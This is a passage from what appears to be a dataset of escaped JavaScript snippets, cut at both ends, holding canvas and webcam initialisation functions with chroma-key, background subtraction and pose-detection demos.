document.createElement('canvas');\\n\\t\\tisReadyToDiff = false;\\n\\n\\t\\t// prep video\\n\\t\\tvideo.autoplay = true;\\n\\n\\t\\t// prep capture canvas\\n\\t\\tcaptureCanvas.width = captureWidth;\\n\\t\\tcaptureCanvas.height = captureHeight;\\n\\t\\tcaptureContext = captureCanvas.getContext('2d');\\n\\n\\t\\t// prep diff canvas\\n\\t\\tdiffCanvas.width = diffWidth;\\n\\t\\tdiffCanvas.height = diffHeight;\\n\\t\\tdiffContext = diffCanvas.getContext('2d');\\n\\n\\t\\t// prep motion canvas\\n\\t\\tmotionCanvas.width = diffWidth;\\n\\t\\tmotionCanvas.height = diffHeight;\\n\\t\\tmotionContext = motionCanvas.getContext('2d');\\n\\n\\t\\trequestWebcam();\\n\\t}\",\n \"initCanvas() { \\n\\t\\tthis.canvas = document.getElementById(\\\"canvas\\\");\\n\\t\\tthis.canvas.width = this.level.getNumBlocksRow * Block.SIZE + (2 * Sprite.SIDE_LR_WIDTH);\\n\\t\\tthis.canvas.height = this.level.getNumBlocksColumn * Block.SIZE + (3 * Sprite.SIDE_TMD_HEIGHT) + Sprite.PANEL_HEIGHT;\\n\\t\\tthis.ctx = this.canvas.getContext(\\\"2d\\\");\\t\\n\\t}\",\n \"constructor(sourceCanvas, resultCanvas) {\\n this.source = sourceCanvas.getContext(\\\"2d\\\")\\n this.result = resultCanvas.getContext(\\\"2d\\\")\\n }\",\n \"function CanvasInit(){\\n context.fillStyle = 'white';\\n context.fillRect(0,0,canvas.width, canvas.height);\\n context.fillStyle = 'black';\\n context.strokeStyle = 'black'\\n setUpCanvas();\\n clear();\\n}\",\n \"_initCanvas (canvas) {\\n if (canvas) {\\n this.canvas = canvas\\n this.width = canvas.width\\n this.height = canvas.height\\n } else {\\n this.canvas = document.createElement('canvas')\\n this.canvas.width = this.width\\n this.canvas.height = this.height\\n this.canvas.style.width = '100%'\\n this.canvas.style.height = '100%'\\n this.canvas.style.imageRendering = 'pixelated'\\n document.body.appendChild(this.canvas)\\n }\\n }\",\n \"function Init() {\\n // Get context handles\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\n CanvasHandle.width = ratioX * scale;\\n CanvasHandle.height = ratioY * scale;\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\n\\n // Create an image backbuffer\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\n BackCanvasHandle.width = CanvasWidth;\\n BackCanvasHandle.height = CanvasHeight;\\n\\n // Set line style\\n BackContextHandle.lineCap = \\\"butt\\\";\\n BackContextHandle.lineJoin = \\\"round\\\";\\n\\n // Get the canvas center\\n CenterX = CanvasWidth / 2;\\n CenterY = CanvasHeight / 2;\\n Camera = {x:0, y:0, z:1};\\n}\",\n \"set canvas(c){\\n this._canvas = c ;\\n if (c){\\n this._context = c.getContext('2d') ;\\n }\\n }\",\n \"function startVideo() {\\n navigator.getUserMedia(\\n { \\n video: \\n {\\n //the ideal part is imp, it helps to get 16:9 ratio also\\n height : { ideal : window.innerHeight } ,\\n width : { ideal : window.innerWidth }\\n } \\n } ,\\n stream => video.srcObject = stream,\\n err => console.error(err)\\n ) \\n}\",\n \"function initVideo() {\\n log_d(\\\"Initializing the video subsystem\\\");\\n\\n var setVideoDev = function (devs) {\\n log_d(\\\"Got video capture devices: \\\" + JSON.stringify(devs));\\n var dev = '';\\n $.each(devs, function (k, v) {\\n dev = k;\\n $('#webcamsSelect').append($(' '));\\n });\\n if (dev) {\\n log_d(\\\"Using video capture device: \\\" + JSON.stringify(devs[dev]));\\n window.configuredDevice = dev;\\n service.setVideoCaptureDevice(CDO.createResponder(startLocalPreview), dev);\\n } else {\\n log_e(\\\"None video capture devices installed.\\\");\\n }\\n };\\n log_d(\\\"Getting video capture devices\\\");\\n service.getVideoCaptureDeviceNames(CDO.createResponder(setVideoDev));\\n\\n}\",\n \"function demo(vid) {\\n\\tvar video = vid;\\n\\tvar demo = this;\\n\\tvar width = 640, height = 480;//can also use video.offsetHeight/video.offsetWidth but the value seems to change once the video actually starts.\\n\\tvar el = document.getElementById('demo-content');\\n\\t\\n\\tvar gui = new dat.GUI({ autoPlace: false });\\n\\tel.appendChild(gui.domElement);\\n\\t\\n\\tvar videoImageContext;\\n\\t\\n\\t//public variables:\\n\\tthis.mode = \\\"chromaKey\\\";\\n\\tgui.add(this, \\\"mode\\\", [\\\"Chroma Key\\\", \\\"Subtraction\\\", \\\"Fancy Method\\\"]);\\n\\t\\n\\tthis.bg_snapshot = function(){\\n\\t\\tsnapshot();\\n\\t}\\n\\tgui.add(this, \\\"bg_snapshot\\\");\\n\\n\\tinit();\\n\\t\\n\\tfunction init() {\\n\\t\\tvideoImage = document.createElement( 'canvas' );\\n\\t\\tvideoImage.width = width;\\n\\t\\tvideoImage.height = height;\\n\\t\\tel.appendChild( videoImage );\\n\\t\\t\\n\\t\\tvideoImageContext = videoImage.getContext( '2d' );\\n\\t\\tvideoImageContext.scale(-1, 1);\\n\\t\\tanimate();\\n\\t}\\n\\t\\n\\tfunction animate(){\\n\\t\\trequestAnimationFrame( animate );\\n\\t\\trender();\\n\\t}\\n\\t\\n\\tfunction drawImage(){\\n\\t\\t//mirror the image using scale(-1, 1)\\n\\t\\tvideoImageContext.drawImage(video, -width, 0, width, height);\\n\\t\\t//videoImageContext.drawImage(video, 0, 0, width, height); //original method\\n\\t}\\n\\t\\n\\tfunction render(){\\n\\t\\tif (video.readyState === video.HAVE_ENOUGH_DATA ){\\n\\t\\t\\tdrawImage();\\n\\t\\t\\tswitch (this.mode){\\n\\t\\t\\t\\tcase 'Chroma Key':\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Subtraction':\\n\\t\\t\\t\\t\\tsubtraction();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tcase 'Fancy Method':\\n\\t\\t\\t\\t\\tfancy();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\tdefault:\\n\\t\\t\\t\\t\\tchromaKey();\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\t\\n\\tvar color_ratio = 2.5, threshold = 40;\\n\\tfunction chromaKey() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\t\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4;\\n\\t\\t\\tvar r = frame.data[pos + 0];\\n\\t\\t\\tvar g = frame.data[pos + 1];\\n\\t\\t\\tvar b = frame.data[pos + 2];\\n\\t\\t\\tif (b>r && b>g && (b>r*color_ratio || b>g*color_ratio) && b > threshold){\\n\\t\\t\\t\\tframe.data[pos + 0] = 255;\\n\\t\\t\\t\\tframe.data[pos + 1] = 255;\\n\\t\\t\\t\\tframe.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t}\\n\\t\\n\\tvar old_data = [], index = 0, buffer_length = 5, std_cutoff = 40;\\n\\tfunction fancy() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\told_data[index] = new Uint8ClampedArray(frame.data);\\n\\t\\t\\n\\t\\tvar current_buffer_size = old_data.length;\\n\\t\\tvar l = frame.data.length / 4;\\n\\t\\tfor (var i = 0; i < l; i++) {\\n\\t\\t\\tvar pos = i*4, mean = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++)\\n\\t\\t\\t\\tmean += (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\tmean /= buffer_length;\\n\\t\\t\\t\\n\\t\\t\\tvar std = 0;\\n\\t\\t\\tfor (var j = 0; j < current_buffer_size; j++) {\\n\\t\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t\\t\\t}\\n\\t\\t\\tstd = Math.sqrt(std);\\n\\t\\t\\t//console.log('std: ', std);\\n\\t\\t\\t\\n\\t\\t\\tif (std < std_cutoff){\\n\\t\\t\\t\\t//frame.data[pos + 0] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 1] = 255;\\n\\t\\t\\t\\t//frame.data[pos + 2] = 255;\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t\\t}\\n\\t\\t//renderer.clear();\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t\\t//videoImageContext.clearRect(0,0,50,50);\\n\\t\\tindex = (index+1)%buffer_length;\\n\\t\\t//console.log('index: ', index);\\n\\t}\\n\\t\\n\\tvar snapshot_data;\\n\\tfunction snapshot(){\\n\\t\\tdrawImage();\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tsnapshot_data = new Uint8ClampedArray(frame.data);\\n\\t}\\n\\t\\n\\tvar first = true, difference_threshold = 20, frame_length=0;\\n\\tfunction subtraction() {\\n\\t\\tvar frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t\\tif (first) {\\n\\t\\t\\tsnapshot();\\n\\t\\t\\tfirst = false;\\n\\t\\t\\tframe_length = frame.data.length / 4;\\n\\t\\t}\\n\\t\\tfor (var i = 0; i < frame_length; i++) {\\n\\t\\t\\tvar pos = i*4, r = pos, g = pos+1, b = pos+2;\\n\\t\\t\\t\\n\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-snapshot_data[r], 2) + Math.pow(frame.data[g]-snapshot_data[g], 2) + Math.pow(frame.data[b]-snapshot_data[b], 2))/3);\\n\\t\\t\\tif (difference < difference_threshold) {\\n\\t\\t\\t\\tframe.data[pos + 3] = 0;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\tvideoImageContext.putImageData(frame, 0, 0);\\n\\t}\\n\\t\\n\\t//var bin_images = [], bin_counts = [], total_bins = 5, curr_bins = 0, frame_length = 0;\\n\\t//function subtraction() {\\n\\t// var frame = videoImageContext.getImageData(0, 0, width, height);\\n\\t// if (curr_bins < bins) {\\n\\t//\\t\\tbin_images[curr_bins] = new Uint8ClampedArray(frame.data);\\n\\t//\\t\\tcurr_bins++;\\n\\t//\\t\\tframe_length = frame.data.length / 4;\\n\\t//\\t}\\n\\t// for (var i = 0; i < frame_length; i++) {\\n\\t//\\t\\tvar pos = i*4, best_bin = 0, r = pos, g = pos+1, b = pos+2;\\n\\t//\\t\\t\\n\\t//\\t\\tvar min_idx = 0, min_val = -1;\\n\\t//\\t\\tfor (var j = 0; j < curr_bins; j++){\\n\\t//\\t\\t\\tvar data = possible_backgrounds[j];\\n\\t//\\t\\t\\tvar difference = Math.sqrt((Math.pow(frame.data[r]-data[r], 2) + Math.pow(frame.data[g]-data[g], 2) + Math.pow(frame.data[b]-data[b], 2))/3);\\n\\t//\\t\\t\\tif (difference < max_val || min_val == -1) {\\n\\t//\\t\\t\\t\\tmax_val = difference;\\n\\t//\\t\\t\\t\\tmin_idx = j;\\n\\t//\\t\\t\\t}\\n\\t//\\t\\t}\\n\\t//\\t\\t\\n\\t//\\t\\t\\n\\t//\\t\\tvar std = 0;\\n\\t//\\t\\tfor (var j = 0; j < buffer_length; j++) {\\n\\t//\\t\\t\\tvar color_avg = (old_data[j][pos + 0] + old_data[j][pos + 1] + old_data[j][pos + 2])/3;\\n\\t//\\t\\t\\tstd += Math.pow(color_avg - mean, 2);\\n\\t//\\t\\t}\\n\\t//\\t\\tstd = Math.sqrt(std);\\n\\t//\\t\\t//console.log('std: ', std);\\n\\t//\\t\\t\\n\\t// if (std < std_cutoff){\\n\\t// //frame.data[pos + 0] = 255;\\n\\t// //frame.data[pos + 1] = 255;\\n\\t// //frame.data[pos + 2] = 255;\\n\\t// frame.data[pos + 3] = 0;\\n\\t// }\\n\\t//\\t\\t//frame.data[pos + 3] = Math.exp(std);\\n\\t// }\\n\\t// //renderer.clear();\\n\\t// videoImageContext.putImageData(frame, 0, 0);\\n\\t// //videoImageContext.clearRect(0,0,50,50);\\n\\t//\\tindex = (index+1)%buffer_length;\\n\\t//\\t//console.log('index: ', index);\\n\\t//}\\n}\",\n \"function canvasInit() {\\n var canvas = document.getElementById(\\\"canvas\\\");\\n if (canvas.getContext) {\\n var ctx = canvas.getContext(\\\"2d\\\");\\n ctx.fillStyle = '#444';\\n ctx.font = '28px Arial';\\n wrapText(ctx, \\\"← Start by entering a jsonline.com url on the left.\\\", 100, 25, 700, 50);\\n step = 0;\\n }\\n}\",\n \"function initEditorCanvas() {\\n let canvas = document.getElementById('editorCanvas');\\n // Resize the canvas.\\n canvas.width = EDITOR_SCALE * CHR_WIDTH;\\n canvas.height = EDITOR_SCALE * CHR_HEIGHT;\\n\\n let ctx = cmn.getContext2DNA(canvas);\\n ctx.imageSmoothingEnabled = false;\\n ctx.scale(EDITOR_SCALE, EDITOR_SCALE);\\n\\n // Canvas is white by default.\\n ctx.fillStyle = 'black';\\n ctx.fillRect(0, 0, CHR_WIDTH, CHR_HEIGHT);\\n\\n canvas.addEventListener('mousedown', function (me) { _mouseDown = true; onMouseMove(me); });\\n canvas.addEventListener('mousemove', onMouseMove);\\n canvas.addEventListener('mouseup', function (me) { _mouseDown = false; });\\n canvas.addEventListener('mouseleave', function (me) { _mouseDown = false; });\\n}\",\n \"function init() {\\n canvas = document.getElementById('can');\\n ctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"function init() {\\n // Put event listeners into place\\n // Notice that in this specific case handlers are loaded on the onload event\\n window.addEventListener('DOMContentLoaded', function() {\\n // Grab elements, create settings, etc.\\n var canvas = document.getElementById('canvas');\\n var context = canvas.getContext('2d');\\n var video = document.getElementById('video');\\n var mediaConfig = {\\n video: true,\\n };\\n var errBack = function(e) {\\n console.log('An error has occurred!', e);\\n };\\n\\n // Put video listeners into place\\n if (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n navigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n video.srcObject = stream;\\n video.onloadedmetadata = function(e) {\\n video.play();\\n };\\n });\\n }\\n\\n // Trigger photo take\\n document.getElementById('snap').addEventListener('click', function() {\\n context.drawImage(video, 0, 0, 640, 480);\\n state.photoSnapped = true; // photo has been taken\\n });\\n\\n // Trigger when upload button is pressed\\n document.getElementById('upload').addEventListener('click', uploadImage);\\n\\n document.getElementById('search').addEventListener('click',searchPhoto);\\n\\n }, false);\\n\\n }\",\n \"function main()\\n{\\n\\t//Function to execute when a canvas is created:\\n\\tvar canvasLoaded = 0;\\n\\tvar onLoadCanvas = function()\\n\\t{\\n\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Canvas '\\\" + this.getId() + \\\"' loaded! Mode used: \\\" + this.getMode()); }\\n\\n\\t\\tcanvasLoaded++;\\n\\n\\t\\t//Gets the \\\"context\\\" object to start working with the canvas:\\n\\t\\tvar canvasContext = this.getContext();\\n\\t\\tif (!canvasContext) { CB_console(\\\"ERROR: canvas context could not be obtained! Drawing cannot be performed.\\\"); return; }\\n\\n\\t\\t//Stores the canvas in the 'canvases' object:\\n\\t\\tcanvases[this.getId()] = this;\\n\\n\\t\\t//If both canvas (normal and buffer) have been created, proceeds with the rendering:\\n\\t\\tif (canvasLoaded >= 2)\\n\\t\\t{\\n\\t\\t\\t//When the screen changes its size or its orientation, both canvases will be re-adapted:\\n\\t\\t\\tvar onResizeOrChangeOrientationTimeout = null;\\n\\t\\t\\tvar onResizeOrChangeOrientation = function()\\n\\t\\t\\t{\\n\\t\\t\\t\\tclearTimeout(onResizeOrChangeOrientationTimeout);\\n\\t\\t\\t\\tonResizeOrChangeOrientationTimeout = setTimeout //NOTE: needs a delay as some clients on iOS update the screen size information in two or more steps (last step is the correct value).\\n\\t\\t\\t\\t(\\n\\t\\t\\t\\t\\tfunction()\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t//Resizes the canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear(); canvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t//Resizes the buffer canvas:\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setWidth(CB_Screen.getWindowWidth());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].setHeight(CB_Screen.getWindowHeight());\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t);\\n\\t\\t\\t};\\n\\t\\t\\tCB_Screen.onResize(onResizeOrChangeOrientation);\\n\\n\\t\\t\\t//Clears both canvas:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].clear();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].clear();\\n\\t\\t\\t\\n\\t\\t\\t//Disables anti-aliasing to avoid problems with adjacent sprites:\\n\\t\\t\\tcanvases[\\\"my_canvas\\\"].disableAntiAliasing();\\n\\t\\t\\tcanvases[\\\"my_canvas_buffer\\\"].disableAntiAliasing();\\n\\t\\t\\t\\n\\t\\t\\t//Creates the sprites groups:\\n\\t\\t\\tvar graphicSpritesSceneObject = createSpritesGroups();\\n\\n\\t\\t\\t//Caches all needed images (performance purposes) and starts rendering sprites groups when all are loaded:\\n\\t\\t\\tmyREM = new CB_REM();\\n\\t\\t\\tmyREM.cacheImages\\n\\t\\t\\t(\\n\\t\\t\\t\\tgraphicSpritesSceneObject, //CB_GraphicSpritesSceneObject.\\n\\t\\t\\t\\tundefined, //reload.\\n\\t\\t\\t\\tfunction(imagesLoaded) //onLoad.\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t//Sets the current time as the start time to start counting the FPS (erased each second automatically):\\n\\t\\t\\t\\t\\tmyREM._startTimeFPS = CB_Device.getTiming();\\n\\n\\t\\t\\t\\t\\t//Show the FPS (Frames Per Second) every time there is a new value:\\n\\t\\t\\t\\t\\tmyREM.onUpdatedFPS(function(FPS) { graphicSpritesSceneObject.getById(\\\"fps_group\\\").getById(\\\"fps\\\").src = \\\"FPS: \\\" + FPS; });\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t//Processes the sprites groups:\\n\\t\\t\\t\\t\\tif (CB_REM.DEBUG_MESSAGES) { CB_console(\\\"Starts processing graphic sprites scene ('CB_GraphicSpritesScene' object) constantly...\\\"); }\\n\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\tprocessSpritesGroups(graphicSpritesSceneObject, canvases[\\\"my_canvas\\\"], canvases[\\\"my_canvas\\\"].getContext(), canvases[\\\"my_canvas_buffer\\\"], canvases[\\\"my_canvas_buffer\\\"].getContext());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t}\\n\\t};\\n\\t\\n\\t//Creates the canvases:\\n\\tvar canvases = {};\\n\\tcanvases[\\\"my_canvas\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n\\tcanvases[\\\"my_canvas_buffer\\\"] = new CB_Canvas\\n\\t(\\n\\t\\t\\\"my_canvas_buffer\\\", //canvasId. Unique required parameter.\\n\\t\\t\\\"2d\\\", //contextType. NOTE: some emulation methods only support \\\"2d\\\". Default: \\\"2d\\\".\\n\\t\\tCB_Screen.getWindowWidth(), //canvasWidth. Use 'CB_Screen.getWindowWidth()' for complete width. Default: CB_Canvas.WIDTH_DEFAULT.\\n\\t\\tCB_Screen.getWindowHeight(), //canvasHeight. Use 'CB_Screen.getWindowHeight()' for complete height. Default: CB_Canvas.HEIGHT_DEFAULT.\\n\\t\\tonLoadCanvas, //onLoad.\\n\\t\\tfunction(error) { CB_console(\\\"Canvas object problem! Error: \\\" + error); }, //onError.\\n\\t\\tundefined, undefined, !!FORCED_EMULATION_METHOD, !!FORCED_EMULATION_METHOD //Forces emulation method.\\n\\t);\\n}\",\n \"function initializeCanvas() {\\n\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\tctx = canvas.getContext(\\\"2d\\\");\\n}\",\n \"init() {\\n const canvas = document.createElement('canvas');\\n\\n canvas.style.display = 'none';\\n canvas.style.position = 'fixed';\\n canvas.style.top = '0px';\\n canvas.style.left = '0px';\\n canvas.style.zIndex = '1000000';\\n this.canvas = canvas;\\n\\n this.context = canvas.getContext('2d');\\n\\n document.body.appendChild(canvas);\\n\\n window.addEventListener('resize', (event) => this.resize());\\n\\n // UI events\\n window.addEventListener('mousemove', (event) => this.mouseMove(event));\\n window.addEventListener('mouseup', (event) => this.mouseUp(event));\\n window.addEventListener('mousedown', (event) => this.mouseDown(event));\\n window.addEventListener('keydown', (event) => this.keyDown(event));\\n\\n this.resize();\\n }\",\n \"function Init() {\\r\\n // Get context handles\\r\\n CanvasHandle = document.getElementById(\\\"canvas\\\");\\r\\n ContextHandle = CanvasHandle.getContext(\\\"2d\\\");\\r\\n CanvasWidth = ContextHandle.canvas.clientWidth;\\r\\n CanvasHeight = ContextHandle.canvas.clientHeight;\\r\\n\\r\\n // Create an image backbuffer\\r\\n BackCanvasHandle = document.createElement(\\\"canvas\\\");\\r\\n BackContextHandle = BackCanvasHandle.getContext(\\\"2d\\\");\\r\\n BackCanvasHandle.width = CanvasWidth;\\r\\n BackCanvasHandle.height = CanvasHeight;\\r\\n\\r\\n // Set line style\\r\\n BackContextHandle.lineCap = \\\"butt\\\";\\r\\n BackContextHandle.lineJoin = \\\"round\\\";\\r\\n BackContextHandle.strokeStyle = \\\"rgb(255, 255, 255)\\\";\\r\\n\\r\\n // Get the canvas center\\r\\n CenterX = CanvasWidth / 2;\\r\\n CenterY = CanvasHeight / 2;\\r\\n Camera = {x:0, y:0, r:20};\\r\\n}\",\n \"function init() {\\n redrawTIAIndicator = true;\\n usePhosphor = false;\\n phosphorBlendPercent = JsVideoConsts.DEFAULT_PHOSPHOR_BLEND;\\n\\n // Allocate buffers for two frame buffers\\n jsvideo.currentFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n previousFrameBuffer = new Array(JsConstants.CLOCKS_PER_LINE_VISIBLE * JsConstants.FRAME_Y_MAX);\\n initBackBuffer(JsVideoConsts.DEFAULT_WIDTH, JsVideoConsts.DEFAULT_HEIGHT);\\n initPalettes();\\n loadImages();\\n jsvideo.initialize();\\n }\",\n \"function video() {\\n\\t\\t$('#wrapper').fitVids();\\n\\t}\",\n \"function paintToCanvas() {\\n // first we need the width and height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n // make sure now that the canvas is the same size as the video before we paint into it\\n canvas.width = width;\\n canvas.height = height;\\n\\n // now ever x seconds we're going to snap a picture\\n setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height); // paint with the video, starting at the left top of the canvas, with the width and height specified above;\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // we get an array of millions of pixel values with each one it's own color value\\n // messing with the pixels\\n //pixels = redEffect(pixels); // the function redEffect is all the way down below\\n pixels = rgbSplit(pixels); // I'm choosing to play with this one instead of the two other functions\\n ctx.globalAlpha = 0.8;\\n //pixels = greenScreen(pixels);\\n // putting the pixels back back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16); // here every 16 milliseconds a picture is taken from the video\\n}\",\n \"function initCanvas() {\\n if(isDebugged) {\\n debug.style.display = \\\"block\\\";\\n } else {\\n debug.style.display = \\\"none\\\";\\n }\\n\\n console.log(\\\"initializing canvas\\\");\\n\\n //var canvasElement = document.querySelector(\\\"#canvas\\\");\\n canvas = new fabric.Canvas(\\\"canvas\\\",{\\n selection: false,\\n height: canvas_initial_height,\\n width: canvas_initial_width,\\n backgroundColor: canvas_background_color\\n });\\n\\n //canvas.isDrawingMode = true;\\n\\n canvas.on(\\\"mouse:down\\\", onMouseDownCanvas);\\n\\n canvas.on(\\\"mouse:up\\\", onMouseUpCanvas);\\n\\n canvas.on(\\\"mouse:move\\\", onMouseMoveCanvas);\\n\\n //updateAndSyncCanvasSize(canvas_initial_width, canvas_initial_height);\\n}\",\n \"function setupMedia() {\\n if (supportsMedia()) {\\n audioContext = new AudioContext();\\n\\n navigator.getUserMedia(\\n {\\n video: false,\\n audio: true\\n },\\n function (localMediaStream) {\\n // map the camera\\n var video = document.getElementById('live_video');\\n video.src = window.URL.createObjectURL(localMediaStream);\\n\\n // create the canvas & get a 2d context\\n videoCanvas = document.createElement('canvas');\\n videoContext = videoCanvas.getContext('2d');\\n\\n // setup audio recorder\\n var audioInput = audioContext.createMediaStreamSource(localMediaStream);\\n //audioInput.connect(audioContext.destination);\\n // had to replace the above with the following to mute playback\\n // (so you don't get feedback)\\n var audioGain = audioContext.createGain();\\n audioGain.gain.value = 0;\\n audioInput.connect(audioGain);\\n audioGain.connect(audioContext.destination);\\n\\n audioRecorder = new Recorder(audioInput);\\n mediaStream = localMediaStream;\\n mediaInitialized = true;\\n\\n document.getElementById('uploading').hidden = true;\\n document.getElementById('media-error').hidden = true;\\n document.getElementById('record').hidden = false;\\n },\\n function (e) {\\n console.log('web-cam & microphone not initialized: ', e);\\n document.getElementById('media-error').hidden = false;\\n }\\n );\\n }\\n}\",\n \"function init(){\\n W = canvas.width = window.innerWidth;\\n H = canvas.height = window.innerHeight;\\n\\n // getting all the frames into the array of frames\\n loadFrames();\\n // creating the origin object\\n origin = new Origin();\\n}\",\n \"function setUpCanvas() {\\n /* clearing up the screen */\\n clear();\\n /* Set display size (vw/vh). */\\n var sizeWidth = (80 * window.innerWidth) / 100,\\n sizeHeight = window.innerHeight;\\n //Setting the canvas site and width to be responsive\\n upperLayer.width = sizeWidth;\\n upperLayer.height = sizeHeight;\\n upperLayer.style.width = sizeWidth;\\n upperLayer.style.height = sizeHeight;\\n lowerLayer.width = sizeWidth;\\n lowerLayer.height = sizeHeight;\\n lowerLayer.style.width = sizeWidth;\\n lowerLayer.style.height = sizeHeight;\\n rect = upperLayer.getBoundingClientRect();\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n\\n video = createCapture(VIDEO);\\n video.size(width, height);\\n\\n // Create a new poseNet method with a single detection\\n poseNet = ml5.poseNet(video, modelReady);\\n // This sets up an event that fills the global variable \\\"poses\\\"\\n // with an array every time new poses are detected\\n poseNet.on('pose', function(results) {\\n poses = results;\\n debugger;\\n });\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function initVideo(){\\n\\t\\t//fit all videos in their parent container\\n\\t\\tjQuery(\\\".scalevid\\\").fitVids();\\n\\t}\",\n \"function initCanvasAndEditor() {\\n // Editor\\n initEditor();\\n\\n // Canvas\\n canvasResizer();\\n renderCanvas();\\n\\n // Listeners\\n addListeners();\\n}\",\n \"run() {\\n requestAnimationFrame(() => {\\n this.runFrame();\\n });\\n\\n this.output.video.run();\\n\\n this.running = true;\\n this.paused = false;\\n }\",\n \"function init() \\n {\\n\\t\\t\\n\\t\\t// initialize variables\\n\\t\\tvideo = document.getElementById(\\\"video1\\\");\\n\\t\\tcanvas = document.getElementById(\\\"canvas\\\");\\n\\t\\ttime_slider = document.getElementById(\\\"time_slider\\\");\\n label_CurrenFrame = document.getElementById(\\\"currentFrameTime\\\");\\n label_VideoLength = document.getElementById(\\\"videoLength\\\");\\n\\t\\tprevious_frame = document.getElementById(\\\"previousFrame\\\");\\n\\t\\tnext_frame = document.getElementById(\\\"nextFrame\\\");\\n\\t\\tcontainer = document.getElementById(\\\"container\\\");\\n\\t\\tcreate_sum = document.getElementById(\\\"submit\\\");\\n\\t\\t\\n //initialize events\\n\\t\\tcanvas.addEventListener(\\\"click\\\", saveFrame, false);\\n\\t\\tcanvas.addEventListener(\\\"mousemove\\\", mouseMove, false);\\n\\t\\ttime_slider.addEventListener(\\\"change\\\", UpdateFrame, false);\\n\\t\\ttime_slider.addEventListener(\\\"input\\\", UpdateFrame, false);\\n\\t\\t\\n\\t\\tdocument.getElementById('files').addEventListener('change', FileChosen);\\n\\t\\tdocument.getElementById('UploadButton').addEventListener('click', StartUpload); 